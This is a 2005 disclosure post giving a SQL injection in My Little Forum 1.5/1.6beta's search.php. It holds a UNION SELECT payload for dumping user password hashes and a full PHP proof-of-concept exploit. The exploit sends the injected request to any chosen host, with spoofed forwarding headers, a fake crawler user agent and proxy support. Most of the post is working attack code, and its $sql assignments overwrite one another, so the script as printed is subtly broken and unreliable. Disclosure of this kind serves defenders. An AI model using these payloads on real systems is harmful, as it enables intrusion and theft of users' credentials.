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My Little Forum 1.5 / 1.6beta SQL Injection
From: retrogod () aliceposta it
Date: 22 Sep 2005 07:12:28 -0000

My Little Forum 1.5 / 1.6beta SQL Injection

software:
site: http://www.mylittlehomepage.net/my_little_forum
software: "A simple web-forum that supports classical thread view (message tree)
as well as messagebord view to display the messages.
Requires PHP > 4.1 and a MySQL database."


1) look at the vulnerable code at line 144 inside search.php:
...
 $result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ".
 $time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit,
 DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."')
 AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table."
 WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", "
 .$settings['search_results_per_page'], $connid);
...

now goto the search page, select "phrase", and type:

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*

if magic quotes are off you will have (guess?...) any admin/user password hash
'cause $searchstring var is not filtered...

this my poc exploit:

<?php
#   mlfexpl.php                                                                #
#                                                                              #
#   My Little Forum 1.5 ( possibly prior versions) SQL Injection /             #
#   MD5 password hash disclosure poc exploit with proxy support                #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then...      #
#   dump all password hashes from database right now...                        #
#                                                                              #
#   Sun-Tzu: "You can be sure of succeeding in your attacks if you only attack #
#   places which are undefended. You can ensure the safety of your defense if  #
#   you only hold positions that cannot be attacked."                          #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title>My Little Forum 1.5 SQL Injection </title><meta http-equiv="Co
ntent-Type"  content="text/html; charset=iso-8859-1"><style type="text/css"><!--
body,td,th {   color:  #00FF00;} body {  background-color: #000000;} .Stile5   {
font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px;}  .Stile6{
font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold; font-sty
le: italic; } --> </style></head> <body> <p class="Stile6">  My   Little Forum 1
.5 SQL Injection </p><p class="Stile6">a script by rgod at <a href="http: //rgod
.altervista.org"    target="_blank" > http://rgod.altervista.org </a> </p><table
width="84%"><tr><td width="43%">  <form  name="form1"  method="post"   action="'
.$SERVER[PHP_SELF].'?path=value&host=value&port=value&proxy=value&username=value
"><p><input type="text" name="host"><span class="Stile5">hostname (ex: www.siten
ame.com) </span></p><p><input type="text"    name="path">  <span class="Stile5">
path (ex: /mylf/ or just /) </span></p><p><input type="text"  name="port" ><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="proxy"> <span class="Stile5"> send  exploit  through  an  HTTP
proxy (ip:port) </span> </p> <p> <input type="text" name="username"> <span class
="Stile5">username whom you want MD5 hash </span> </p> <p> <input  type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
                            }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
                            }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet,$show)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
            if (!eregi($proxy_regex,$proxy))
            {echo htmlentities($proxy).' -> not a valid proxy...';
             die;
            }
           $parts=explode(':',$proxy);
            echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
            $ock=fsockopen($parts[0],$parts[1]);
            if (!$ock) { echo 'No response from proxy...';
                        die;
                       }
           }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
if ($show) {echo nl2br(htmlentities($html));}
}

if (($path<>'') and ($host<>'') and ($username<>''))
{
  if ($port=='') {$port=80;}


$sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, 
user_pw";
$sql=", user_pw"; //if version is 1.6 beta, just add a comment to ths line
$sql=" FROM forum_userdata WHERE user_name='".$username."'/*";
$sql=urlencode($sql);

if ($proxy=='')
{$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
else
{$packet="GET http://".$host.$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
$packet.="Client-IP: 127.0.0.1\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, 
application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."search.php\r\n";;
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet,0);
$temp=explode(';<span class="category">(',$html);
$temp2=explode(')</span>',$temp[1]);
$hash=$temp2[0];

echo '<br>username: '.$username.' hash: '.$hash;
# debugging...
//echo htmlentities($html);
}
else
{
echo '<br>fill in all requested fields, optionally specify a proxy...<br>';
}
?>




2) 1.6beta is vulnerable even, we have:
...
$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL ".$time_difference." HOUR) AS
Uhrzeit, subject, name, email, hp, place, text, category FROM ".$db_settings['forum_table']."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'],
$connid);
...

you have same results, deleting a statement in injection string:

[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*


rgod

site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/mylittle15_16b.html








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